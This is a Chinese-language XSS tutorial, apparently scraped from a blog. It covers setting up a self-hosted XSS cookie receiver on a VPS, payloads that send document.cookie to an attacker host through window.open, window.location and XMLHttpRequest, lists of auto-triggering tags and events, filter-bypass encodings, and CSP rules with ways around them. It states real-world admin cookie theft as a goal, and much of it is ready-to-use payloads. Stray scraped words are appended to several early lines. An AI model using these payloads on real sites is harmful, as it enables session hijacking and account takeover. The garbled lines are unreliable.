0x00前言javascript
xss是跨站腳本攻擊,利用嵌入js代碼達到‘控制’對方瀏覽器的做用,測試的時候咱們是用alert(1)彈窗,而作CTF也好,實際中的漏洞利用也好通常是用xss獲取管理員的cookiephp
0x01xss平臺搭建css
網上有xss的在線平臺,可是別人的總沒有本身的用着舒服,因而能夠試着手動搭建下屬於本身的xss平臺html
首先要擁有本身的vps,能有公網的ip,才能把目標的信息發送過來前端
這裏搭建推薦用藍蓮花戰隊的github一個項目:https://github.com/firesunCN/BlueLotus_XSSReceiverjava
你能夠搭在vps上的web服務器上,可是該項目提供了docker,可使用docker開放到本身想要的端口git
git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git && cd BlueLotus_XSSReceiver docker build -t bluelotus . docker run -d -p 81:80 bluelotus
上面3條命令會把xss平臺運行到vps的81端口,而後訪問本身的vps 81端口的admin.php頁面github
登陸密碼默認爲bluelotus,輸入便可進入頁面web
稍微提一下怎麼使用,在個人js中添加個新的文件,插入第一個模板就行ajax
而後把它的var website的值改爲 http://vpsip:port/ 便可,端口就是你開放這個xss平臺端口,我是用的81
簡單的本地測試利用該js文件獲取信息,點擊生成payload
把這句話插入到xss的輸入中
而後刷新下xss平臺的主界面,就能獲取cookie了
0x02 XXS基本觸發方式
xss檢查都是用個alert(1)彈個框來檢查,可是實際上都是爲了發送cookie來獲取有用的信息
發送cookie的方式用ajax,用window.open,用window.location
即將alert(1)的地方替換成以下代碼
<script>alert(1)</script>
用如下的代碼替換,其中的vpsip:port即0x01中提到的xss平臺的ip和端口
<script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script>
<script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://vpsip:port', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>
觸發javascript的方式有三種
1.利用<script>標籤,標籤內的內容便可以觸發javascript的代碼
2.利用javascript:僞協議,該方法會用於一些屬性裏面,舉個例子好比在a標籤的href屬性可使用該僞協議 <a href=javascript:alert(1)>xss</a>
3.利用事件onxxxx,好比在打開文檔或圖片錯誤時,報錯的事件onerror,舉例<img src=x onerror=alert(1) />(x這個圖片路徑是不存在的,全部會觸發onerror)
可以利用的標籤有
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
可以利用的事件有
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop onerror
可以利用僞協議的屬性有
formaction action href xlink:href autofocus src content data
有些xss須要用戶交互才能觸發,好比<a>標籤,必須用戶點擊了<a>標籤生成的xss連接,才能觸發
而有些標籤是不用交互,只要可以加載就能觸發的,這裏羅列下我知道的(在firefox下成功,在chrome下有些會被chrome攔截)
利用<script>標籤
<script>alert(1)</script>
利用報錯的事件
<img src=x onerror=alert(1) /> <object data=x onerror=alert(1)></object>
<video src=x onerror=alert(1) /> <audio src=x onerror=alert(1) />
利用加載的時候的事件 <iframe onload=alert(1) /> <svg onload=alert(1)></svg> <marquee onstart=alert(1)></marquee>
利用請求資源的時候的僞協議 <iframe src=javascript:alert(1) /> <object data=javascript:alert(1)></object> <object data=x onerror=alert(1)></object> <embed src=javascript:alert(1)></embed>
利用匯集焦點的事件,最後加autofocus是打開頁面自動彙集焦點到該標籤 <input type=text onfocus=alert(1) autofocus /> <button onfocus=alert(1) autofocus /> <keygen onfocus=alert(1) autofocus /> <select onfocus=alert(1) autofocus /> <textarea onfocus=alert(1) autofocus />
至於其餘標籤的用法好比<a>標籤就要靠點擊觸發src=javascript:僞協議
或者利用onmousemove鼠標移動到該標籤位置, onclick點擊觸發這些事件,這裏就再也不羅列
0x03 XXS一點繞過方法
繞過我知道的很少,簡單介紹下我收集的
1.在標籤的屬性任何位置均可以利用html編碼進行繞過
&#ascii碼十進制; 例子:t --編碼後-> t <a href=javascript:alert(1) >xss</a><a href=javascript:alert(1) >xss</a>
2.在javascript中能夠經過String.fromCharCode()函數進行編碼成字符串,可是要使用eval來執行
<a href=javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >xss</a>
等價於
<a href=javascript:eval("alert(1)") >xss</a>
由於若是不加eval,它是這樣的,"alert(1)"是被當作字符串,而不是執行代碼,因此是不能執行
<a href=javascript:"alert(1)" >xss</a>
3.在javascript中能夠經過\x來編碼字符成字符串,也是須要eval來執行,道理同上
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x31\x27\x29") >xss</a>
4.在標籤中有些地方能夠用[/]來代替[空格]
<img src=x onerror=alert(1) /> //正常狀況 <img/src=x onerror=alert(1) /> //代替前面的空格 <img src=x onerror=alert(1)//> //代替後面的空格 <img/src=x onerror=alert(1)//> //代替先後的空格 <img src=x/onerror=alert(1) /> //錯誤沒法解析
5.在標籤中也能夠用%0a%0d換行來代替空格
<img src=x onerror%0a%0d=%0a%0dalert(1) />
<img%0a%0dsrc=x onerror=alert(1) />
6.在javascript中能夠利用['']來代替 .
document.cookie document['cookie']
document['coo'+'kie']
7.標籤和屬性大小寫不敏感
<imG sRc=x OnerroR=alert(1) />
0x04 csp基礎
csp(Content Security Policy)是網頁安全政策
它的存在就是爲了防止XSS的
開啓方式有2種,一種是在html中的<meta>標籤中寫入,一種是經過響應頭的Content-Security-Policy字段定義
html前端代碼
<meta http-equiv="Content-Security-Policy" content="script-src 'self';">
php後端代碼
header("Content-Security-Policy: default-src 'self';");
首先了解有哪些值
* | 容許加載全部資源(沒有單引號) |
'none' | 不容許加載任何資源 |
'self' | 容許加載同源資源 |
data: | 容許使用data:僞協議 |
*.sijidou.com | 容許sijdou.com子域的資源加載 |
sijidou.com | 容許sijidou.com域下的資源加載 |
'unsafe-inline' | 容許執行內聯資源,如屬性,事件,script標籤 |
'unsafe-eval' | 容許使用eval執行代碼 |
https: | 只容許使用了https:有證書的資源 |
屬性有如下內容
1.script-src
這個屬性來判斷是否可以加載,執行javascript腳本
1)script-src *; 容許全部的js腳原本源
<script src="http://vpsip/1.js"></script> //能觸發
<script>alert(1)</script> //不能觸發
2)script-src 'self'; 只容許同源的腳本觸發
<script src="http://vpsip/1.js"></script> //不能觸發
<script>alert(1)</script> //不能觸發
<script src="1.js"></script> //調用本地的js文件能觸發
3)script-src 'unsafe-inline' 當前頁面可使用javascript腳本
<script>alert(1)</script> //能觸發
<script>eval("alert(1)")</script> //不能觸發
<script src="http://vpsip/1.js"></script> //不能觸發
<script src="1.js"></script> //不能觸發
4)script-src 'unsafe-inline' 'unsafe-eval' 當前頁面可以使用javascript腳本,而且可以使用eval函數
<script>eval("alert(1)")</script> //能觸發
<script>alert(1)</script> //能觸發
<script src="http://vpsip/1.js"></script> //不能觸發
<script src="1.js"></script> //不能觸發
5)script-src 'none' 不容許加載任何資源
<script src="http://vpsip/1.js"></script> //不能觸發 <script src="1.js"></script> //不能觸發 <script>alert(1)</script> //不能觸發
2.img-src
該屬性是定義圖片加載的源的策略
1)img-src * 容許加載任何圖片資源
<img src=x onerror=alert(1) /> //可以觸發
<img src='http://xxx/1.jpg' /> //容許的
2)img-src 'self' 容許同源的圖片被加載
<img src=x onerror=alert(1) /> //也是可以觸發的
<img src='http://xxx/1.jpg' /> //不容許
<img src='1.jpg' /> //容許的
3)img-src 'none' 不容許圖片被加載
<img src=x onerror=alert(1) /> //也可以觸發的
<img src='http://xxx/1.jpg' /> //不容許
<img src='1.jpg' /> //不容許
總的來講,從哪圖片加載若是失敗都能觸發onerror
3.style-src
該屬性是規定css加載的來源
style-src * 容許加載任意的css
<link href="1.css" type="text/css" rel="Stylesheet" /> //容許
#但下面這個不被容許
<style type="text/css">
.main{ width:1002px; margin:0 auto;}
</style>
style-src 'unsafe-line' 能夠達到使用內嵌的css樣式
#容許 <style type="text/css"> .main{ width:1002px; margin:0 auto;} </style>
4.font-src
該屬性是規定字體的加載的來源
和img-src大差不差,可是無法觸發onerror之類的事件
5.object-src
該屬性定義引用資源的加載來源
能夠做用的是下面的標籤,效果和img-src相同
<object data=xxx /> <embed src=xx />
6.media-src
該屬性規定音頻和視頻的加載來源
能夠做用的是下面的標籤,效果和img-src相同
<audio src=x />
<video src=x />
7.connect-src
定義ajax websocket等策略
1)connect-src * 容許ajax或者websocket訪問全部目標
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.4399.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
2)connect -src http://www.baidu.com/ 只容許ajax或者websocket訪問http://www.baidu.com,若是不是就不被容許
#被容許
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.baidu.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
#不被容許
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://www.bilibili.com', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send(); </script>
可是絲絕不影響window.open和window.location的發送
#在connect-src http://www.baidu.com/ 被容許的
<script>window.open("http://vpsip:port/?cookie=" + document.cookie)</script>
##在connect-src http://www.baidu.com/ 被容許的
<script>window.location="http://vpsip:port/?cookie=" + document.cookie</script>
8.child-src
定義frame的來源,是frame-src的改進版
1)child-src * 容許載入全部的其餘源頁面
<iframe src=http://www.4399.com /> //經過 <iframe src=http://www.baidu.com /> //經過
2)child-src http://www.baidu.com/ 只容許載入百度的頁面
<iframe src=http://www.4399.com /> //不經過 <iframe src=http://www.baidu.com /> //經過
可是也不影響onload事件的觸發
<iframe src=http://www.4399.com onload=alert(1) />
9.default-src
默認資源定義,若是隻設置了 script-src 和 default-src,那麼其餘的img-src style-src等7個屬性和default-src的規則相同
0x05 csp的組合規則
能夠看到若是在沒有script-src和default-src(來定義script-src規則)的狀況下,其餘的csp防禦也是能經過事件之類的來執行javascript代碼
1)child-src *;default-src * 這種狀況下容許加載任何頁面,可是不能運行javascript腳本(default-src定義了script-src的規則)
<iframe src=http://www.baidu.com onload=alert(1) /> //能加載百度頁面,沒發彈框
只要script-src沒有unsafe-inline值,那麼該頁面就不能執行javascript代碼,不管是不是<script>標籤內容,屬性的javascript:僞協議,事件的執行
2)object-src data:;default-src * 運行使用data:協議,這種咱們能夠利用javascript代碼彈框
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object> //被容許
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==解碼結果是<script>alert(1)</script>
3)object-src javascript:;default-src * 運行javascript:協議,可是由於default-src *來規定了script-src沒有unsafe-inline值,那麼看着就是矛盾的了,這時候判斷是不執行
<object data=javascript:alert(1) /> //不被容許
總結一下就是除了某些標籤的data:僞協議能夠加載頁面(好比<object>標籤)能夠逃過沒有script-src 'inline'在頁面上執行javascript代碼的狀況,其餘想要執行javascript代碼必需要有script-src 'inline'或者沒有定義script-src和default-src規則
以前看<link>能夠預加載之類的文章,可是我本地沒有成功,也不知道是否是Firefox和chrome的版本更新後對這個問題已經有了處理了
0xFF結語
gitbub上的筆記:https://github.com/SiJiDo/XSS-note
雖然有點亂,可是仍是能看
參考連接
http://www.javashuo.com/article/p-mtxwkvxf-gr.html
https://www.leavesongs.com/PENETRATION/xss-collect.html
http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html
https://lorexxar.cn/2016/08/08/ccsp/#%E4%BB%80%E4%B9%88%E6%98%AFCSP